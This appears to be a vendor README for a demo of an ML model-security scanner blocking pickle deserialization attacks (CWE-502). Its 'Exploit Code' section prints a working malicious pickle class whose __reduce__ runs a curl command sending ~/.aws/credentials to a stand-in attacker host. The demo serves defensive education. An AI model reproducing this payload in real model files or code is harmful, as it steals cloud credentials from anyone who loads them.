Prisma AIRS Model Security - Pickle Deserialization Demo

Interactive demonstration of Prisma AIRS Model Security detecting and blocking pickle deserialization attacks (CWE-502) in ML models.

Overview

This repository provides a complete, self-contained Jupyter notebook demonstrating how Prisma AIRS Model Security protects against malicious machine learning models. The demo shows:

• ✅ Baseline scan of a clean model (ALLOWED)
• 🔴 Detection of a poisoned model containing pickle deserialization exploit (BLOCKED)
• 📊 Side-by-side comparison with detailed analysis
• 💰 Value proposition and ROI calculation

Attack Vector: Pickle deserialization (CWE-502) - arbitrary code execution during model loading

Demo Time: 5-10 minutes

Features

• 🎯 Interactive Jupyter Notebook - Live code execution with step-by-step explanations
• 🔒 Real Attack Simulation - Genuine CWE-502 exploit code (safe demo environment)
• 📈 Business Value Metrics - ROI calculation based on industry data
• 🎓 Educational Content - Technical deep dive into detection mechanisms
• 🚀 Production-Ready - Can be adapted for CI/CD integration examples

Quick Start

Prerequisites

• Python 3.12 or higher
• Prisma AIRS Model Security account
• Service account credentials (Client ID, Client Secret, TSG ID)
• Jupyter Notebook

Installation

1. Clone this repository:

   git clone <repository-url>
   cd prisma-airs-pickle-demo

2. Create and activate virtual environment:

   python3 -m venv venv
   source venv/bin/activate  # On Windows: venv\Scripts\activate

3. Install dependencies:

   pip install -r requirements.txt

4. Set environment variables:

   export MODEL_SECURITY_CLIENT_ID="your-client-id"
   export MODEL_SECURITY_CLIENT_SECRET="your-client-secret"
   export TSG_ID="your-tsg-id"

   See Getting Credentials below for details.

5. Launch Jupyter:

   jupyter notebook demo.ipynb

Getting Credentials

To obtain Prisma AIRS credentials:

1. Log in to Strata Cloud Manager: https://strata.paloaltonetworks.com
2. Create Service Account:
   • Navigate to: Settings → Identity & Access → Service Accounts
   • Click "Add Service Account"
   • Name: Prisma AIRS Demo
   • Select appropriate permissions
   • Save and copy the Client ID and Client Secret (shown once!)
3. Get TSG ID:
   • Navigate to: Tenant Management
   • Copy your Tenant Service Group (TSG) ID

Demo Flow

Part 1: Baseline - Clean Model Scan

Scan amazon/chronos-t5-small, a legitimate time series forecasting model from Amazon:

• Format: SafeTensors (secure)
• Expected Result: ALLOWED ✅
• Scan Time: ~1 minute

Part 2: Threat Detection - Poisoned Model Scan

Scan scthornton/chronos-t5-small-poisoned-demo, identical to the clean model but with a malicious pickle file added:

• Attack: Pickle deserialization exploit
• Payload: AWS credential theft via curl to C2 server
• Expected Result: BLOCKED 🔴
• Scan Time: ~1 minute

Part 3: Analysis & Value Proposition

• Side-by-side comparison of results
• Explanation of detection mechanism
• ROI calculation (average data breach: $4.45M)
• Technical deep dive

The Attack Explained

What is Pickle Deserialization?

Python's pickle module allows objects to be serialized and deserialized. However, it's unsafe for untrusted data because it can execute arbitrary code during deserialization.

Exploit Code

import pickle

class MaliciousCheckpoint:
    def __reduce__(self):
        import os
        return (
            os.system,
            ("curl -X POST https://attacker-c2.com/exfil -d @$HOME/.aws/credentials",)
        )

# When victim loads this:
with open('malicious_checkpoint.pkl', 'rb') as f:
    checkpoint = pickle.load(f)  # ← CODE EXECUTES HERE
    # AWS credentials sent to attacker before user realizes

Impact

• Automatic Execution: Code runs during pickle.load(), before user can inspect
• Full System Access: Can execute any system command via os.system()
• Credential Theft: Steals AWS credentials, API keys, tokens
• Real-World Threat: Documented in actual ML supply chain attacks

How Prisma AIRS Detects This

Detection Method: File Format Policy Enforcement

Prisma AIRS blocks the pickle file format itself, not just specific exploits. This is because:

1. Pickle is inherently unsafe - Allows arbitrary code execution by design
2. Cannot be secured - No way to "safely" load untrusted pickle files
3. Zero-trust approach - Block entire format category

Benefits:

• ✅ Cannot be bypassed with sophisticated payloads
• ✅ Blocks entire class of deserialization attacks
• ✅ Simple, fast, reliable
• ✅ No false negatives

Repository Structure

prisma-airs-pickle-demo/
├── README.md                    # This file
├── demo.ipynb                   # Main Jupyter notebook demo
├── requirements.txt             # Python dependencies
├── LICENSE                      # MIT License
├── .gitignore                   # Git ignore rules
├── SECURITY.md                  # Security policy
├── CONTRIBUTING.md              # Contribution guidelines
└── docs/
    ├── SETUP.md                 # Detailed setup instructions
    ├── TROUBLESHOOTING.md       # Common issues and solutions
    └── TECHNICAL_ANALYSIS.md    # In-depth technical analysis

Documentation

• Setup Guide - Detailed installation and configuration
• Troubleshooting - Common issues and solutions
• Technical Analysis - Deep dive into detection mechanisms

Use Cases

For Security Teams

• Demonstrate ML supply chain security risks to stakeholders
• Educate developers on pickle deserialization threats
• Validate security controls before model deployment
• Create security awareness training materials

For Sales & Marketing

• Live product demonstrations
• Customer proof-of-concept
• ROI justification
• Competitive differentiation

For Developers

• Learn about ML security best practices
• Understand CWE-502 vulnerabilities
• See Prisma AIRS SDK integration examples
• Adapt for CI/CD pipeline integration

Business Value

Without Prisma AIRS:

• Malicious models deployed to production
• Credential theft, data exfiltration, ransomware
• Average data breach cost: $4.45M (IBM, 2024)

With Prisma AIRS:

• Models scanned before deployment
• Pickle attacks blocked automatically
• Attack prevented at $0 cost

ROI: One blocked pickle attack pays for Prisma AIRS 10x over

Security Considerations

⚠️ Important: This demo contains educational exploit code for demonstration purposes only.

• Models used in this demo are for educational purposes only
• The malicious model is hosted publicly to demonstrate detection
• Do NOT use these techniques against systems you don't own
• See SECURITY.md for our security policy

Contributing

We welcome contributions! Please see CONTRIBUTING.md for guidelines.

License

This project is licensed under the MIT License - see LICENSE file for details.

Support

• Documentation: https://docs.paloaltonetworks.com/prisma/prisma-airs
• Issues: Please open a GitHub issue for bugs or feature requests
• Community: Join the discussion in GitHub Discussions

Acknowledgments

• Palo Alto Networks - For Prisma AIRS Model Security
• Amazon - For the chronos-t5-small base model
• HuggingFace - For model hosting infrastructure

Related Resources

• OWASP Top 10 for LLM Applications
• CWE-502: Deserialization of Untrusted Data
• Prisma AIRS Documentation
• ML Supply Chain Security Best Practices

---

Version: 1.0.0 Last Updated: 2025-10-28 Maintained By: Palo Alto Networks Prisma AIRS Team